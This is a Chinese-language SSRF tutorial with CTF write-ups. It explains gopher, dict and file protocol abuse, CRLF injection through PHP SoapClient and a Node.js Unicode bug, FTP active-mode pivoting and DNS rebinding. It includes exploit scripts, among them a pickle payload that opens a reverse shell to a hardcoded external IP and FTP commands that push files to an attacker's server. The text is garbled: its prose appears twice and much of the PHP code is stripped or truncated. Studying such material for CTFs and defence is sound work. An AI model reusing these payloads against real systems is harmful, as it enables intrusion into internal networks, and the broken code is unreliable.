首个 SSRF 漏洞开篇学习
SSRF 简介 SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。
如图是一个简单的 SSRF
源码如下
利用协议
file/local_file
利用 file 文件可以直接读取本地文件内容,如下
local_file 与之类似,常用于绕过
dict
dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用 dict 协议可以获取目标服务器端口上运行的服务版本等信息。
如请求
dict://192.168.163.1:3306/info
可以获取目标主机的 3306 端口上运行着 mariadb
Gopher
Gopher 是基于 TCP 经典的 SSRF 跳板协议了,原理如下
其中_
可以是任意字符,作为连接符占位
一个示例
URL 编码后
测试
所以在SSRF
时利用gopher
协议我们就可以构造任意 TCP 数据包发向内网了
利用 CRLF
在 HTTP 的 TCP 包中,HTTP 头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。
下图是一个示例:
如果我们能在输入的 url 中注入\r\n,就可以对 HTTP Headers 进行修改从而控制发出的 HTTP 的报文内容
比如下图
USER anonymous
等就是通过CRLF
注入插入的伪HTTP Header
PHP 中利用 Soap Client 原生类
SOAP(简单对象访问协议)是连接或 Web 服务或客户端和 Web 服务之间的接口。
其采用 HTTP 作为底层通讯协议,XML 作为数据传送的格式。
在 PHP 中该类的构造函数如下:
第一个参数是用来指明是否是 wsdl 模式。
第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。具体可以设置的参数可见官方文档
其中提供了一个接口
此处本意是注入User_Agent
HTTP 请求头,但是此处存在 CRLF 注入漏洞,因此我们在此处可以完全控制 HTTP 请求头
利用脚本如下
利用 FTP 作为跳板
FTP 是基于 TCP 的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议
通过 FTP 传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。
FTP 协议中命令也是通过\r\n
分割的 同时 FTP 会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用 HTTP 作为 FTP 包的载荷
同时通过使用PORT
命令打开 FTP 主动模式,可以实现 TCP 流量代理转发的效果
DNS Rebinding
针对SSRF
,有一种经典的拦截方式
获取到输入的 URL,从该 URL 中提取 host
对该 host 进行 DNS 解析,获取到解析的 IP
检测该 IP 是否是合法的,比如是否是私有 IP 等
如果 IP 检测为合法的,则进入 curl 的阶段发包
第三步对 IP 进行了检测,避免了内网 SSRF
然而不难发现此处对 HOST 进行了两次解析,一次是在第二步检测 IP,第二次是在第四步发包。那么我们很容易有以下绕过思路
控制一个域名xxx.xxx
,第一次 DNS 解析,xxx.xxx
指向正常的 ip,防止被拦截
第二次 DNS 解析,xxx.xxx
指向 127.0.0.1(或其他内网地址),在第四步中 curl 向第二次解析得到对应的内网地址发包实现绕过
这个过程已经有了较为完善的利用工具
例题
主要分析题目中的 SSRF 部分
MRCTF2020 Ezpop Revenge
目标是访问/flag.php
但限制了访问请求的来源 ip 必须为127.0.0.1
也就是本地访问
此题的前半部分在于 typecho pop 链的构造此处就不过多赘述,直接上 Exp
其中$a
为 SOAP 载荷,call_user_func()
对 SOAP 对象进行了主动调用从而触发了请求。
这里关键是使用了 PHP 的SoapClient
进行了一个 SSRF
通过CRLF
注入PHPSESSION
然后访问/flag.php
php 将 flag 放入session
中,我们再带着这个SESSION
去访问对应网页就能获取到存储的 flag 了
MRCTF2021 half nosqli
这个题的前半部分在于 Mongodb 永真式万能密码绕过,后半部分就是 SSRF
首先可以打到自己 vps 上看看效果
发现发送了 HTTP 的请求包
经过尝试该题目中存在 Nodejs 曾爆出的一个 SSRF 漏洞,即 Unicode 拆分攻击,可以进行 CRLF 注入
利用原理如下
在 Node.js 尝试发出一个路径中含有控制字符的 HTTP 请求,它们会被 URL 编码。
而当 Node.js 版本 8 或更低版本对此 URL 发出 GET 请求时,\u{ff0a}\u{ff0d}
不会进行转义,因为它们不是 HTTP 控制字符:
但是当结果字符串被默认编码为 latin1 写入路径时,这些字符将分别被截断为\x0a\x0d
也即\r\n
从而实现了CRLF
注入
可以看到发回的包
已经实现了 CRLF 的注入,这里的 payload 也就是我们最终构造的 FTP 请求包,通过这个请求包,可以使 FTP 主动向我们的服务器发送上面的文件
USER anonymous 以匿名模式登录 PASS 随意 CWD 切换文件夹 TYPE I 以 binary 格式传输 PORT vpsip,0,1890 打开 FTP 主动模式 RETR 向对应 ip:port 发送文件
在 vps 上开一个监听端口,就能监听到发来的文件了
StarCTF2021 oh-my-bet
题目在获取头像地址处存在 ssrf
并且该版本的urllib.request.urlopen(path)
存在CRLF
注入漏洞
分析题目给出的源码,我们能得到最终的解题思路是
向 FTP 传输恶意流量包并存储->FTP 向 Mongodb 发送恶意流量包插入恶意 Session->Session Pickle 反序列化反弹 shell
生成恶意 mongdb 流量包
生成恶意 pickle 序列化串
生成 Mongodb 的 BSON 数据
攻击流程
上传到内网 FTP 服务器
vps 打开文件发送
内网 FTP 向 Mongodb 发送构造恶意数据包
最终触发
image.pngSSRF 简介 SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。
如图是一个简单的 SSRFimage.png 源码如下
<?phpfunction curl(url){ch = curl_init();curl_setopt(url);curl_setopt(ch);curl_close(ch);}url = url);
利用协议 file/local_file 利用 file 文件可以直接读取本地文件内容,如下
file:///etc/passwdlocal_file:///etc/passwd
local_file 与之类似,常用于绕过
dictdict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用 dict 协议可以获取目标服务器端口上运行的服务版本等信息。
如请求
dict://192.168.163.1:3306/infoimage.png 可以获取目标主机的 3306 端口上运行着 mariadb
GopherGopher 是基于 TCP 经典的 SSRF 跳板协议了,原理如下
gopher://127.0.0.1:70/_ + TCP/IP 数据(URLENCODE)
其中_可以是任意字符,作为连接符占位
一个示例
GET /?test=123 HTTP/1.1Host: 127.0.0.1:2222Pragma: no-cacheCache-Control: no-cacheDNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Connection: close
URL 编码后
%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
测试
curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->HTTP/1.1 200 OKHost: 127.0.0.1:2222Date: Tue, 26 May 2020 03:53:05 GMTConnection: closeX-Powered-By: PHP/7.3.15-3Content-type: text/html; charset=UTF-8
123
所以在 SSRF 时利用 gopher 协议我们就可以构造任意 TCP 数据包发向内网了
利用 CRLF 在 HTTP 的 TCP 包中,HTTP 头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。
下图是一个示例:
image.png
如果我们能在输入的 url 中注入\r\n,就可以对 HTTP Headers 进行修改从而控制发出的 HTTP 的报文内容
比如下图 image.png
USER anonymous 等就是通过 CRLF 注入插入的伪 HTTP Header
PHP 中利用 Soap Client 原生类 SOAP(简单对象访问协议)是连接或 Web 服务或客户端和 Web 服务之间的接口。
其采用 HTTP 作为底层通讯协议,XML 作为数据传送的格式。
在 PHP 中该类的构造函数如下:
public SoapClient :: SoapClient (mixed options ])
第一个参数是用来指明是否是 wsdl 模式。
第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。具体可以设置的参数可见官方文档
其中提供了一个接口
The user_agent option specifies string to use in User-Agent header.
此处本意是注入 User_Agent HTTP 请求头,但是此处存在 CRLF 注入漏洞,因此我们在此处可以完全控制 HTTP 请求头
利用脚本如下
<?a = new SoapClient(null,array('location' => target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",headers)."\r\nContent-Length: ".(string)strlen(post_string)."\r\n\r\n".post_string,'uri' => "aaab"));
利用 FTP 作为跳板 FTP 是基于 TCP 的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议 image.png 通过 FTP 传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。image.png
FTP 协议中命令也是通过\r\n 分割的 同时 FTP 会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用 HTTP 作为 FTP 包的载荷
同时通过使用 PORT 命令打开 FTP 主动模式,可以实现 TCP 流量代理转发的效果
STEP 1 向 FTP 服务传 TCP 包
TYPE IPORT vpsip,0,portSTOR tcp.bin
STEP 2 让 FTP 服务向内网发 TCP 包
TYPE IPORT 172,20,0,5,105,137RETR tcp.bin
DNS Rebinding 针对 SSRF,有一种经典的拦截方式
获取到输入的 URL,从该 URL 中提取 host 对该 host 进行 DNS 解析,获取到解析的 IP 检测该 IP 是否是合法的,比如是否是私有 IP 等如果 IP 检测为合法的,则进入 curl 的阶段发包第三步对 IP 进行了检测,避免了内网 SSRF
然而不难发现此处对 HOST 进行了两次解析,一次是在第二步检测 IP,第二次是在第四步发包。那么我们很容易有以下绕过思路
控制一个域名 xxx.xxx,第一次 DNS 解析,xxx.xxx 指向正常的 ip,防止被拦截
第二次 DNS 解析,xxx.xxx 指向 127.0.0.1(或其他内网地址),在第四步中 curl 向第二次解析得到对应的内网地址发包实现绕过
这个过程已经有了较为完善的利用工具
例题主要分析题目中的 SSRF 部分
MRCTF2020 Ezpop Revenge 目标是访问/flag.php 但限制了访问请求的来源 ip 必须为 127.0.0.1 也就是本地访问
<?phpif(!isset(_SERVER['REMOTE_ADDR']==="127.0.0.1"){$_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";}else echo "我扌 your problem?\nonly localhost can get flag!";?>
此题的前半部分在于 typecho pop 链的构造此处就不过多赘述,直接上 Exp
<?phpclass HelloWorld_DB{private flag="MRCTF{this_is_a_fake_flag}";private coincidence;function __construct(coincidence){this->coincidence = coincidence;}function __wakeup(){db = new Typecho_Db(this->coincidence['world']);}}class Typecho_Request{private _filter;function __construct(filter){params;filter;}}class Typecho_Feed{private _charset = 'UTF-8';private _items = array();public function addItem(array item){this->_items[] = $item;}}
post_string = '';$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2');
target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",headers)."\r\nContent-Length: ".(string)strlen(post_string)."\r\n\r\n".$post_string,'uri' => "aaab"));
a,"233")),array('call_user_func'));payload2->addItem(array('author' => exp1 = array('hello' => exp = new HelloWorld_DB(exp)."\n";echo urlencode(base64_encode(serialize($exp)));
其中 $a 为 SOAP 载荷,call_user_func()对 SOAP 对象进行了主动调用从而触发了请求。
这里关键是使用了 PHP 的 SoapClient 进行了一个 SSRF
<?phpa = new SoapClient(null,array('location' => target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",headers)."\r\nContent-Length: ".(string)strlen(post_string)."\r\n\r\n".post_string,'uri' => "aaab"));
通过 CRLF 注入 PHPSESSION 然后访问/flag.php php 将 flag 放入 session 中,我们再带着这个 SESSION 去访问对应网页就能获取到存储的 flag 了
MRCTF2021 half nosqli 这个题的前半部分在于 Mongodb 永真式万能密码绕过,后半部分就是 SSRF
首先可以打到自己 vps 上看看效果
headers = {"Accept":"/","Authorization":"Bearer "+token,}
url_payload = "http://buptmerak.cn:2333"
json = {"url":url_payload}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)image.png
发现发送了 HTTP 的请求包
经过尝试该题目中存在 Nodejs 曾爆出的一个 SSRF 漏洞,即 Unicode 拆分攻击,可以进行 CRLF 注入
利用原理如下
在 Node.js 尝试发出一个路径中含有控制字符的 HTTP 请求,它们会被 URL 编码。
而当 Node.js 版本 8 或更低版本对此 URL 发出 GET 请求时,\u{ff0a}\u{ff0d}不会进行转义,因为它们不是 HTTP 控制字符:
但是当结果字符串被默认编码为 latin1 写入路径时,这些字符将分别被截断为\x0a\x0d 也即\r\n 从而实现了 CRLF 注入
headers = {"Accept":"/","Authorization":"Bearer "+token,}
url_payload = "http://buptmerak.cn:2333/"
payload ='''USER anonymousPASS admin888CWD filesTYPE IPORT vpsip,0,1890RETR flag'''.replace("\n","\r\n")
def payload_encode(raw):ret = u""for i in raw:ret += chr(0xff00+ord(i))return ret#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")
#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = {"url":url_payload}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
可以看到发回的包
image.png 已经实现了 CRLF 的注入,这里的 payload 也就是我们最终构造的 FTP 请求包,通过这个请求包,可以使 FTP 主动向我们的服务器发送上面的文件 image.png
USER anonymous 以匿名模式登录 PASS 随意 CWD 切换文件夹 TYPE I 以 binary 格式传输 PORT vpsip,0,1890 打开 FTP 主动模式 RETR 向对应 ip:port 发送文件
在 vps 上开一个监听端口,就能监听到发来的文件了
headers = {"Accept":"/","Authorization":"Bearer "+token,}
url_payload = "http://ftp:8899/" #题目附件中 docker-compose.yml 中泄露的内网主机名
payload ='''USER anonymousPASS admin888CWD filesTYPE IPORT vpsip,0,1890RETR flag'''.replace("\n","\r\n")
def payload_encode(raw):ret = u""for i in raw:ret += chr(0xff00+ord(i))return ret#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")
#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = {"url":url_payload}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)image.png
StarCTF2021 oh-my-bet 题目在获取头像地址处存在 ssrf
def get_avatar(username):
import urllib.parseimport requestsimport reimport base64import time
url = "http://localhost:8088/login"
def read_file(filename):name = "eki"+str(time.time())avatar = filenamedata = {"username":name,"password":"322","avatar":avatar,"submit":"Go!",}res = requests.post(url,data=data)
read_file("file:///app/app.py")
并且该版本的 urllib.request.urlopen(path)存在 CRLF 注入漏洞
分析题目给出的源码,我们能得到最终的解题思路是
向 FTP 传输恶意流量包并存储->FTP 向 Mongodb 发送恶意流量包插入恶意 Session->Session Pickle 反序列化反弹 shell
生成恶意 mongdb 流量包生成恶意 pickle 序列化串
import pickleimport base64import os
class RCE:def reduce(self):cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("81.70.154.76",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")return os.system, (cmd,)
if name == 'main':pickled = pickle.dumps(RCE())print(base64.urlsafe_b64encode(pickled))open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())
生成 Mongodb 的 BSON 数据
const BSON = require('bson');const fs = require('fs');
// Serialize a documentconst doc = {insert: "sessions", $db: "admin", documents: [{"id": "session:e51fca6f-1248-450c-8961-b5d1a1aaaaaa","val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),"expiration": new Date("2025-02-17")}]};const data = BSON.serialize(doc);
let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");let full = Buffer.concat([beginning, data]);
full.writeUInt32LE(full.length, 0);fs.writeFileSync("bson.bin", full);
攻击流程上传到内网 FTP 服务器
payload = '''TYPE IPORT vpsip,78,32STOR bson.bin'''
exp = 'http://172.20.0.2:8877/'
exp += urllib.parse.quote(payload.replace('\n', '\r\n'))
read_file(exp)
vps 打开文件发送
import socket
HOST = '0.0.0.0'
PORT = 20000
blocksize = 4096fp = open('bson.bin', 'rb')with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.bind((HOST, PORT))print('start listen...')s.listen()conn, addr = s.accept()with conn:while 1:buf = fp.read(blocksize)if not buf:fp.close()breakconn.sendall(buf)print('end.')
内网 FTP 向 Mongodb 发送构造恶意数据包
payload = '''TYPE IPORT 172,20,0,5,105,137RETR bson.bin'''
exp = 'http://172.20.0.2:8877/'
exp += urllib.parse.quote(payload.replace('\n', '\r\n'))
read_file(exp)
最终触发
import requests
url = "http://localhost:8088/"
cookie = {"session":"e51fca6f-1148-450c-8961-b5d1aaaaaaaa"}
req = requests.get(url,cookie=cookie)
【SSRF 资料领取】
【SSRF 资料领取】
image.png
评论